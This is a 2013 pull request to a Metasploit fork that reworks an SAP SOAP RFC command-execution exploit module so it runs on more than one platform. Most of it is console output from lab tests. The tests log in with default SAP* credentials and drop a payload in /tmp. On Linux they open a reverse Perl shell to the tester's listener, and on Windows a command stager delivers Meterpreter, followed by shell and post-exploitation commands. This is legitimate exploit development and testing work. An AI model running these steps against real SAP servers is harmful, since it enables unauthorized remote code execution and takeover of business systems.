nmonkee/metasploit-framework — pull request #9 by jvazquez-r7 (2013-05-07 22:13:33+00:00)
Title: Clean up for sap_soap_rfc_sxpg_call_system_exec

Hi @nmonkee.

This pull request tries to clean up https://github.com/rapid7/metasploit-framework/pull/1678/files and convert the exploit into an multi platform exploit by using the same technique than https://github.com/rapid7/metasploit-framework/pull/1667 on Linux platforms.

Feel free to check, verify, test, ask, provide feedback etc. Once you feel comfortable merge this pull request, the original one will be automatically updated and we'll be ready to merge I guess :)

* Test on Linux

VERY IMPORTANT NOTE! : ON THE LINUX TESTDRIVE PLATFORM only the perl and ruby CMD payloads have been verified to work. Because of a limitation in the multi-platform exploits, I dont find any way to restrict allowed payloads from the metadata! So other payloads others than the perl and ruby ones are not expected to work on the testdrive platform.

```
msf exploit(sap_soap_rfc_sxpg_call_system_exec) > show options

Module options (exploit/windows/sap/sap_soap_rfc_sxpg_call_system_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CLIENT 001 yes SAP Client
PASSWORD 06071992 yes Password
Proxies no Use a proxy chain
RHOST 192.168.172.179 yes The target address
RPORT 8042 yes The target port
USERNAME SAP* yes Username
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Linux

msf exploit(sap_soap_rfc_sxpg_call_system_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.179:8042 - Dumping the payload to /tmp/MUpZi...
[+] 192.168.172.179:8042 - Payload dump was successful
[*] 192.168.172.179:8042 - Executing /tmp/MUpZi...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.179:57363) at 2013-05-07 16:58:04 -0500
id

uid=1001(npladm) gid=100(users) groups=100(users),1000(sapsys)
uname -a
Linux linux-gateway 2.6.32.43-0.4-default #1 SMP 2011-07-14 14:47:44 +0200 x86_64 x86_64 x86_64 GNU/Linux
^C
Abort session 2? [y/N] y

```

* Test on Windows

```

msf exploit(sap_soap_rfc_sxpg_call_system_exec) > show options

Module options (exploit/windows/sap/sap_soap_rfc_sxpg_call_system_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CLIENT 001 yes SAP Client
PASSWORD 06071992 yes Password
Proxies no Use a proxy chain
RHOST 192.168.172.186 yes The target address
RPORT 8000 yes The target port
USERNAME SAP* yes Username
VHOST no HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Windows x64

msf exploit(sap_soap_rfc_sxpg_call_system_exec) > check
[*] The target service is running, but could not be validated.
msf exploit(sap_soap_rfc_sxpg_call_system_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.186:8000 - Sending SOAP SXPG_COMMAND_EXECUTE request
[*] Command Stager progress - 2.19% done (249/11366 bytes)
[*] Command Stager progress - 4.38% done (498/11366 bytes)
[*] Command Stager progress - 6.57% done (747/11366 bytes)
[*] Command Stager progress - 8.76% done (996/11366 bytes)
[*] Command Stager progress - 10.95% done (1245/11366 bytes)
[*] Command Stager progress - 13.14% done (1494/11366 bytes)
[*] Command Stager progress - 15.34% done (1743/11366 bytes)
[*] Command Stager progress - 17.53% done (1992/11366 bytes)
[*] Command Stager progress - 19.72% done (2241/11366 bytes)
[*] Command Stager progress - 21.91% done (2490/11366 bytes)
[*] Command Stager progress - 24.10% done (2739/11366 bytes)
[*] Command Stager progress - 26.29% done (2988/11366 bytes)
[*] Command Stager progress - 28.48% done (3237/11366 bytes)
[*] Command Stager progress - 30.67% done (3486/11366 bytes)
[*] Command Stager progress - 32.86% done (3735/11366 bytes)
[*] Command Stager progress - 35.05% done (3984/11366 bytes)
[*] Command Stager progress - 37.24% done (4233/11366 bytes)
[*] Command Stager progress - 39.43% done (4482/11366 bytes)
[*] Command Stager progress - 41.62% done (4731/11366 bytes)
[*] Command Stager progress - 43.81% done (4980/11366 bytes)
[*] Command Stager progress - 46.01% done (5229/11366 bytes)
[*] Command Stager progress - 48.20% done (5478/11366 bytes)
[*] Command Stager progress - 50.39% done (5727/11366 bytes)
[*] Command Stager progress - 52.58% done (5976/11366 bytes)
[*] Command Stager progress - 54.77% done (6225/11366 bytes)
[*] Command Stager progress - 56.96% done (6474/11366 bytes)
[*] Command Stager progress - 59.15% done (6723/11366 bytes)
[*] Command Stager progress - 61.34% done (6972/11366 bytes)
[*] Command Stager progress - 63.53% done (7221/11366 bytes)
[*] Command Stager progress - 65.72% done (7470/11366 bytes)
[*] Command Stager progress - 67.91% done (7719/11366 bytes)
[*] Command Stager progress - 70.10% done (7968/11366 bytes)
[*] Command Stager progress - 72.29% done (8217/11366 bytes)
[*] Command Stager progress - 74.49% done (8466/11366 bytes)
[*] Command Stager progress - 76.68% done (8715/11366 bytes)
[*] Command Stager progress - 78.87% done (8964/11366 bytes)
[*] Command Stager progress - 80.85% done (9189/11366 bytes)
[*] Command Stager progress - 82.76% done (9407/11366 bytes)
[*] Command Stager progress - 84.94% done (9654/11366 bytes)
[*] Command Stager progress - 86.67% done (9851/11366 bytes)
[*] Command Stager progress - 88.50% done (10059/11366 bytes)
[*] Command Stager progress - 90.63% done (10301/11366 bytes)
[*] Command Stager progress - 92.66% done (10532/11366 bytes)
[*] Command Stager progress - 94.67% done (10760/11366 bytes)
[*] Command Stager progress - 95.94% done (10904/11366 bytes)
[*] Command Stager progress - 98.06% done (11146/11366 bytes)
[*] Command Stager progress - 100.00% done (11366/11366 bytes)
[*] Sending stage (951296 bytes) to 192.168.172.186
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.186:57416) at 2013-05-07 16:55:53 -0500

meterpreter > getuid
Server username: GATEWAY\Administrator
meterpreter > sysinfo
Computer : GATEWAY
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
meterpreter > exit
[*] Shutting down Meterpreter...

```